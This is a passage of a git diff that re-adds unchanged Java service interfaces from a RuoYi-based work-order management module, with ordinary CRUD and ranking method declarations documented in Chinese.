部门业绩报 + */ + TpDeptReportVo queryById(Long id); + + /** + * 分页查询部门业绩报列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 部门业绩报分页列表 + */ + TableDataInfo queryPageList(TpDeptReportBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的部门业绩报列表 + * + * @param bo 查询条件 + * @return 部门业绩报列表 + */ + List queryList(TpDeptReportBo bo); + + /** + * 新增部门业绩报 + * + * @param bo 部门业绩报 + * @return 是否新增成功 + */ + Boolean insertByBo(TpDeptReportBo bo); + + /** + * 修改部门业绩报 + * + * @param bo 部门业绩报 + * @return 是否修改成功 + */ + Boolean updateByBo(TpDeptReportBo bo); + + /** + * 校验并批量删除部门业绩报信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpDesignQuotesService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpDesignQuotesService.java index 5ae364f..422ff0a 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpDesignQuotesService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpDesignQuotesService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.work.domain.vo.TpDesignQuotesVo; -import org.dromara.work.domain.bo.TpDesignQuotesBo; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.core.page.PageQuery; - -import java.util.Collection; -import java.util.List; - -/** - * 报价Service接口 - * - * @author Maosw - * @date 2025-03-10 - */ -public interface ITpDesignQuotesService { - - /** - * 查询报价 - * - * @param id 主键 - * @return 报价 - */ - TpDesignQuotesVo queryById(Long id); - - /** - * 分页查询报价列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 报价分页列表 - */ - TableDataInfo queryPageList(TpDesignQuotesBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的报价列表 - * - * @param bo 查询条件 - * @return 报价列表 - */ - List queryList(TpDesignQuotesBo bo); - - /** - * 新增报价 - * - * @param bo 报价 - * @return 是否新增成功 - */ - Boolean insertByBo(TpDesignQuotesBo bo); - - /** - * 修改报价 - * - * @param bo 报价 - * @return 是否修改成功 - */ - Boolean updateByBo(TpDesignQuotesBo bo); - - /** - * 校验并批量删除报价信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.work.domain.vo.TpDesignQuotesVo; +import org.dromara.work.domain.bo.TpDesignQuotesBo; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; + +import java.util.Collection; +import java.util.List; + +/** + * 报价Service接口 + * + * @author Maosw + * @date 2025-03-10 + */ +public interface ITpDesignQuotesService { + + /** + * 查询报价 + * + * @param id 主键 + * @return 报价 + */ + TpDesignQuotesVo queryById(Long id); + + /** + * 分页查询报价列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 报价分页列表 + */ + TableDataInfo queryPageList(TpDesignQuotesBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的报价列表 + * + * @param bo 查询条件 + * @return 报价列表 + */ + List queryList(TpDesignQuotesBo bo); + + /** + * 新增报价 + * + * @param bo 报价 + * @return 是否新增成功 + */ + Boolean insertByBo(TpDesignQuotesBo bo); + + /** + * 修改报价 + * + * @param bo 报价 + * @return 是否修改成功 + */ + Boolean updateByBo(TpDesignQuotesBo bo); + + /** + * 校验并批量删除报价信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpFieldService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpFieldService.java index 9f32e01..178f5d0 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpFieldService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpFieldService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.TpFieldBo; -import org.dromara.work.domain.vo.TpFieldVo; - -import java.util.Collection; -import java.util.List; - -/** - * 字段管理Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpFieldService { - - /** - * 查询字段管理 - * - * @param id 主键 - * @return 字段管理 - */ - TpFieldVo queryById(Long id); - - /** - * 分页查询字段管理列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 字段管理分页列表 - */ - TableDataInfo queryPageList(TpFieldBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的字段管理列表 - * - * @param bo 查询条件 - * @return 字段管理列表 - */ - List queryList(TpFieldBo bo); - - /** - * 新增字段管理 - * - * @param bo 字段管理 - * @return 是否新增成功 - */ - Boolean insertByBo(TpFieldBo bo); - - /** - * 修改字段管理 - * - * @param bo 字段管理 - * @return 是否修改成功 - */ - Boolean updateByBo(TpFieldBo bo); - - /** - * 校验并批量删除字段管理信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.TpFieldBo; +import org.dromara.work.domain.vo.TpFieldVo; + +import java.util.Collection; +import java.util.List; + +/** + * 字段管理Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpFieldService { + + /** + * 查询字段管理 + * + * @param id 主键 + * @return 字段管理 + */ + TpFieldVo queryById(Long id); + + /** + * 分页查询字段管理列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 字段管理分页列表 + */ + TableDataInfo queryPageList(TpFieldBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的字段管理列表 + * + * @param bo 查询条件 + * @return 字段管理列表 + */ + List queryList(TpFieldBo bo); + + /** + * 新增字段管理 + * + * @param bo 字段管理 + * @return 是否新增成功 + */ + Boolean insertByBo(TpFieldBo bo); + + /** + * 修改字段管理 + * + * @param bo 字段管理 + * @return 是否修改成功 + */ + Boolean updateByBo(TpFieldBo bo); + + /** + * 校验并批量删除字段管理信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpFollowService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpFollowService.java index 46ffcb2..b4c0fce 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpFollowService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpFollowService.java @@ -1,76 +1,76 @@ -package org.dromara.work.service; - -import org.dromara.work.domain.vo.TpFollowVo; -import org.dromara.work.domain.bo.TpFollowBo; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.core.page.PageQuery; - -import java.util.Collection; -import java.util.List; - -/** - * 关注Service接口 - * - * @author Maosw - * @date 2025-07-23 - */ -public interface ITpFollowService { - - /** - * 查询关注 - * - * @param id 主键 - * @return 关注 - */ - TpFollowVo queryById(Long id); - - /** - * 分页查询关注列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 关注分页列表 - */ - TableDataInfo queryPageList(TpFollowBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的关注列表 - * - * @param bo 查询条件 - * @return 关注列表 - */ - List queryList(TpFollowBo bo); - - /** - * 新增关注 - * - * @param bo 关注 - * @return 是否新增成功 - */ - Boolean insertByBo(TpFollowBo bo); - - /** - * 修改关注 - * - * @param bo 关注 - * @return 是否修改成功 - */ - Boolean updateByBo(TpFollowBo bo); - - /** - * 校验并批量删除关注信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 查询关注 - * - * @param bo 查询条件 - * @return 关注 - */ - TpFollowVo queryByTpFollow(TpFollowBo bo); -} +package org.dromara.work.service; + +import org.dromara.work.domain.vo.TpFollowVo; +import org.dromara.work.domain.bo.TpFollowBo; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; + +import java.util.Collection; +import java.util.List; + +/** + * 关注Service接口 + * + * @author Maosw + * @date 2025-07-23 + */ +public interface ITpFollowService { + + /** + * 查询关注 + * + * @param id 主键 + * @return 关注 + */ + TpFollowVo queryById(Long id); + + /** + * 分页查询关注列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 关注分页列表 + */ + TableDataInfo queryPageList(TpFollowBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的关注列表 + * + * @param bo 查询条件 + * @return 关注列表 + */ + List queryList(TpFollowBo bo); + + /** + * 新增关注 + * + * @param bo 关注 + * @return 是否新增成功 + */ + Boolean insertByBo(TpFollowBo bo); + + /** + * 修改关注 + * + * @param bo 关注 + * @return 是否修改成功 + */ + Boolean updateByBo(TpFollowBo bo); + + /** + * 校验并批量删除关注信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 查询关注 + * + * @param bo 查询条件 + * @return 关注 + */ + TpFollowVo queryByTpFollow(TpFollowBo bo); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpIntegralDetailService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpIntegralDetailService.java index d832626..aeb4597 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpIntegralDetailService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpIntegralDetailService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.TpIntegralDetailBo; -import org.dromara.work.domain.vo.TpIntegralDetailVo; - -import java.util.Collection; -import java.util.List; - -/** - * 积分明细Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpIntegralDetailService { - - /** - * 查询积分明细 - * - * @param id 主键 - * @return 积分明细 - */ - TpIntegralDetailVo queryById(Long id); - - /** - * 分页查询积分明细列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 积分明细分页列表 - */ - TableDataInfo queryPageList(TpIntegralDetailBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的积分明细列表 - * - * @param bo 查询条件 - * @return 积分明细列表 - */ - List queryList(TpIntegralDetailBo bo); - - /** - * 新增积分明细 - * - * @param bo 积分明细 - * @return 是否新增成功 - */ - Boolean insertByBo(TpIntegralDetailBo bo); - - /** - * 修改积分明细 - * - * @param bo 积分明细 - * @return 是否修改成功 - */ - Boolean updateByBo(TpIntegralDetailBo bo); - - /** - * 校验并批量删除积分明细信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.TpIntegralDetailBo; +import org.dromara.work.domain.vo.TpIntegralDetailVo; + +import java.util.Collection; +import java.util.List; + +/** + * 积分明细Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpIntegralDetailService { + + /** + * 查询积分明细 + * + * @param id 主键 + * @return 积分明细 + */ + TpIntegralDetailVo queryById(Long id); + + /** + * 分页查询积分明细列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 积分明细分页列表 + */ + TableDataInfo queryPageList(TpIntegralDetailBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的积分明细列表 + * + * @param bo 查询条件 + * @return 积分明细列表 + */ + List queryList(TpIntegralDetailBo bo); + + /** + * 新增积分明细 + * + * @param bo 积分明细 + * @return 是否新增成功 + */ + Boolean insertByBo(TpIntegralDetailBo bo); + + /** + * 修改积分明细 + * + * @param bo 积分明细 + * @return 是否修改成功 + */ + Boolean updateByBo(TpIntegralDetailBo bo); + + /** + * 校验并批量删除积分明细信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpMonthService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpMonthService.java index b141bd8..b111c74 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpMonthService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpMonthService.java @@ -1,77 +1,77 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpMonth; -import org.dromara.work.domain.bo.TpMonthBo; -import org.dromara.work.domain.vo.TpMonthVo; - -import java.util.Collection; -import java.util.List; - -/** - * 月目标Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpMonthService extends MPJBaseService { - - /** - * 查询月目标 - * - * @param id 主键 - * @return 月目标 - */ - TpMonthVo queryById(Long id); - - /** - * 分页查询月目标列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 月目标分页列表 - */ - TableDataInfo queryPageList(TpMonthBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的月目标列表 - * - * @param bo 查询条件 - * @return 月目标列表 - */ - List queryList(TpMonthBo bo); - - /** - * 新增月目标 - * - * @param bo 月目标 - * @return 是否新增成功 - */ - Boolean insertByBo(TpMonthBo bo); - - /** - * 修改月目标 - * - * @param bo 月目标 - * @return 是否修改成功 - */ - Boolean updateByBo(TpMonthBo bo); - - /** - * 校验并批量删除月目标信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 根据用户和月份查询 - * @param monthBo - * @return - */ - TpMonthVo queryTpMonth(TpMonthBo monthBo); -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpMonth; +import org.dromara.work.domain.bo.TpMonthBo; +import org.dromara.work.domain.vo.TpMonthVo; + +import java.util.Collection; +import java.util.List; + +/** + * 月目标Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpMonthService extends MPJBaseService { + + /** + * 查询月目标 + * + * @param id 主键 + * @return 月目标 + */ + TpMonthVo queryById(Long id); + + /** + * 分页查询月目标列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 月目标分页列表 + */ + TableDataInfo queryPageList(TpMonthBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的月目标列表 + * + * @param bo 查询条件 + * @return 月目标列表 + */ + List queryList(TpMonthBo bo); + + /** + * 新增月目标 + * + * @param bo 月目标 + * @return 是否新增成功 + */ + Boolean insertByBo(TpMonthBo bo); + + /** + * 修改月目标 + * + * @param bo 月目标 + * @return 是否修改成功 + */ + Boolean updateByBo(TpMonthBo bo); + + /** + * 校验并批量删除月目标信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 根据用户和月份查询 + * @param monthBo + * @return + */ + TpMonthVo queryTpMonth(TpMonthBo monthBo); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpNewOrderService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpNewOrderService.java index 133da10..e63a9f6 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpNewOrderService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpNewOrderService.java @@ -1,69 +1,69 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpOrder; -import org.dromara.work.domain.bo.OrderRankingBo; -import org.dromara.work.domain.bo.TpOrderBo; -import org.dromara.work.domain.vo.*; - -import java.math.BigDecimal; -import java.util.Collection; -import java.util.List; - -/** - * 订单管理Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpNewOrderService extends MPJBaseService { - - /** - * 客服排行榜 - * @param bo - * @param pageQuery - * @return - */ - TableDataInfo rankingList(OrderRankingBo bo, PageQuery pageQuery); - - /** - * 技术排行榜 - * @param bo - * @param pageQuery - * @return - */ - TableDataInfo rankingListJS(OrderRankingBo bo, PageQuery pageQuery); - - - /** - * 客服排行榜统计 - * @param bo - * @return - */ - OrderRankingSumVo rankingListKFSum(OrderRankingBo bo); - - /** - * 技术排行榜统计 - * @param bo - * @return - */ - OrderRankingSumVo rankingListJSSum(OrderRankingBo bo); - - /** - * 客户下单排行榜 - * @param bo - * @param pageQuery - * @return - */ - TableDataInfo khRankingList(OrderRankingBo bo, PageQuery pageQuery); - - /** - * 客户下单排行榜统计 - * @param bo - * @return - */ - OrderRankingSumVo khRankingListSum(OrderRankingBo bo); - -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpOrder; +import org.dromara.work.domain.bo.OrderRankingBo; +import org.dromara.work.domain.bo.TpOrderBo; +import org.dromara.work.domain.vo.*; + +import java.math.BigDecimal; +import java.util.Collection; +import java.util.List; + +/** + * 订单管理Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpNewOrderService extends MPJBaseService { + + /** + * 客服排行榜 + * @param bo + * @param pageQuery + * @return + */ + TableDataInfo rankingList(OrderRankingBo bo, PageQuery pageQuery); + + /** + * 技术排行榜 + * @param bo + * @param pageQuery + * @return + */ + TableDataInfo rankingListJS(OrderRankingBo bo, PageQuery pageQuery); + + + /** + * 客服排行榜统计 + * @param bo + * @return + */ + OrderRankingSumVo rankingListKFSum(OrderRankingBo bo); + + /** + * 技术排行榜统计 + * @param bo + * @return + */ + OrderRankingSumVo rankingListJSSum(OrderRankingBo bo); + + /** + * 客户下单排行榜 + * @param bo + * @param pageQuery + * @return + */ + TableDataInfo khRankingList(OrderRankingBo bo, PageQuery pageQuery); + + /** + * 客户下单排行榜统计 + * @param bo + * @return + */ + OrderRankingSumVo khRankingListSum(OrderRankingBo bo); + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderBigService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderBigService.java index 1ea4017..76828e5 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderBigService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderBigService.java @@ -1,70 +1,70 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpOrderBig; -import org.dromara.work.domain.bo.TpOrderBigBo; -import org.dromara.work.domain.vo.TpOrderBigVo; - -import java.util.Collection; -import java.util.List; - -/** - * 订单大图Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpOrderBigService extends MPJBaseService { - - /** - * 查询订单大图 - * - * @param id 主键 - * @return 订单大图 - */ - TpOrderBigVo queryById(Long id); - - /** - * 分页查询订单大图列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 订单大图分页列表 - */ - TableDataInfo queryPageList(TpOrderBigBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的订单大图列表 - * - * @param bo 查询条件 - * @return 订单大图列表 - */ - List queryList(TpOrderBigBo bo); - - /** - * 新增订单大图 - * - * @param bo 订单大图 - * @return 是否新增成功 - */ - Boolean insertByBo(TpOrderBigBo bo); - - /** - * 修改订单大图 - * - * @param bo 订单大图 - * @return 是否修改成功 - */ - Boolean updateByBo(TpOrderBigBo bo); - - /** - * 校验并批量删除订单大图信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpOrderBig; +import org.dromara.work.domain.bo.TpOrderBigBo; +import org.dromara.work.domain.vo.TpOrderBigVo; + +import java.util.Collection; +import java.util.List; + +/** + * 订单大图Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpOrderBigService extends MPJBaseService { + + /** + * 查询订单大图 + * + * @param id 主键 + * @return 订单大图 + */ + TpOrderBigVo queryById(Long id); + + /** + * 分页查询订单大图列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 订单大图分页列表 + */ + TableDataInfo queryPageList(TpOrderBigBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的订单大图列表 + * + * @param bo 查询条件 + * @return 订单大图列表 + */ + List queryList(TpOrderBigBo bo); + + /** + * 新增订单大图 + * + * @param bo 订单大图 + * @return 是否新增成功 + */ + Boolean insertByBo(TpOrderBigBo bo); + + /** + * 修改订单大图 + * + * @param bo 订单大图 + * @return 是否修改成功 + */ + Boolean updateByBo(TpOrderBigBo bo); + + /** + * 校验并批量删除订单大图信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderCdService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderCdService.java index c643cd9..40bd8a3 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderCdService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderCdService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.TpOrderCdBo; -import org.dromara.work.domain.vo.TpOrderCdVo; - -import java.util.Collection; -import java.util.List; - -/** - * 拆单记录Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpOrderCdService { - - /** - * 查询拆单记录 - * - * @param id 主键 - * @return 拆单记录 - */ - TpOrderCdVo queryById(Long id); - - /** - * 分页查询拆单记录列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 拆单记录分页列表 - */ - TableDataInfo queryPageList(TpOrderCdBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的拆单记录列表 - * - * @param bo 查询条件 - * @return 拆单记录列表 - */ - List queryList(TpOrderCdBo bo); - - /** - * 新增拆单记录 - * - * @param bo 拆单记录 - * @return 是否新增成功 - */ - Boolean insertByBo(TpOrderCdBo bo); - - /** - * 修改拆单记录 - * - * @param bo 拆单记录 - * @return 是否修改成功 - */ - Boolean updateByBo(TpOrderCdBo bo); - - /** - * 校验并批量删除拆单记录信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.TpOrderCdBo; +import org.dromara.work.domain.vo.TpOrderCdVo; + +import java.util.Collection; +import java.util.List; + +/** + * 拆单记录Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpOrderCdService { + + /** + * 查询拆单记录 + * + * @param id 主键 + * @return 拆单记录 + */ + TpOrderCdVo queryById(Long id); + + /** + * 分页查询拆单记录列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 拆单记录分页列表 + */ + TableDataInfo queryPageList(TpOrderCdBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的拆单记录列表 + * + * @param bo 查询条件 + * @return 拆单记录列表 + */ + List queryList(TpOrderCdBo bo); + + /** + * 新增拆单记录 + * + * @param bo 拆单记录 + * @return 是否新增成功 + */ + Boolean insertByBo(TpOrderCdBo bo); + + /** + * 修改拆单记录 + * + * @param bo 拆单记录 + * @return 是否修改成功 + */ + Boolean updateByBo(TpOrderCdBo bo); + + /** + * 校验并批量删除拆单记录信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderCommentService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderCommentService.java index 659e2d7..c5b273c 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderCommentService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderCommentService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.TpOrderCommentBo; -import org.dromara.work.domain.vo.TpOrderCommentVo; - -import java.util.Collection; -import java.util.List; - -/** - * 订单评论Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpOrderCommentService { - - /** - * 查询订单评论 - * - * @param id 主键 - * @return 订单评论 - */ - TpOrderCommentVo queryById(Long id); - - /** - * 分页查询订单评论列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 订单评论分页列表 - */ - TableDataInfo queryPageList(TpOrderCommentBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的订单评论列表 - * - * @param bo 查询条件 - * @return 订单评论列表 - */ - List queryList(TpOrderCommentBo bo); - - /** - * 新增订单评论 - * - * @param bo 订单评论 - * @return 是否新增成功 - */ - Boolean insertByBo(TpOrderCommentBo bo); - - /** - * 修改订单评论 - * - * @param bo 订单评论 - * @return 是否修改成功 - */ - Boolean updateByBo(TpOrderCommentBo bo); - - /** - * 校验并批量删除订单评论信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.TpOrderCommentBo; +import org.dromara.work.domain.vo.TpOrderCommentVo; + +import java.util.Collection; +import java.util.List; + +/** + * 订单评论Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpOrderCommentService { + + /** + * 查询订单评论 + * + * @param id 主键 + * @return 订单评论 + */ + TpOrderCommentVo queryById(Long id); + + /** + * 分页查询订单评论列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 订单评论分页列表 + */ + TableDataInfo queryPageList(TpOrderCommentBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的订单评论列表 + * + * @param bo 查询条件 + * @return 订单评论列表 + */ + List queryList(TpOrderCommentBo bo); + + /** + * 新增订单评论 + * + * @param bo 订单评论 + * @return 是否新增成功 + */ + Boolean insertByBo(TpOrderCommentBo bo); + + /** + * 修改订单评论 + * + * @param bo 订单评论 + * @return 是否修改成功 + */ + Boolean updateByBo(TpOrderCommentBo bo); + + /** + * 校验并批量删除订单评论信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderModelService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderModelService.java index 59b4310..f8e20f5 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderModelService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpOrderModelService.java @@ -1,70 +1,70 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpOrderModel; -import org.dromara.work.domain.bo.TpOrderModelBo; -import org.dromara.work.domain.vo.TpOrderModelVo; - -import java.util.Collection; -import java.util.List; - -/** - * 